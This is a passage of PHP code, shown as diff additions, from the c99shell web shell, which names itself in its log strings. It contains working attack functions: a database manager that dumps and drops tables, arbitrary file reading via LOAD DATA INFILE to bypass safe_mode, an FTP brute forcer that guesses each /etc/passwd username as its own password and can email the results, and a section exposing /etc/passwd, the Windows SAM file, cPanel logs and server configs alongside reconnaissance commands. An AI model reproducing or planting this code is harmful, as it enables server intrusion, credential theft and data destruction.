$dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "[Pages]&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";} + echo "</td>"; + } + echo "<td><font color=\"red\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"red\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>?/b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DataBase:</b> + <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE width=100% id=bordered><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>FTP Brute Forcer: </b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=red><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server Information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "</br><b><font color=red>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><b>Encoder:</b></br></br><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><br><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br><b>Hashes</b>:</br></br>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</br><b>Url:</b><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + </br></br><b>Base64:</b></br> base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly>"; + echo "</br>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" 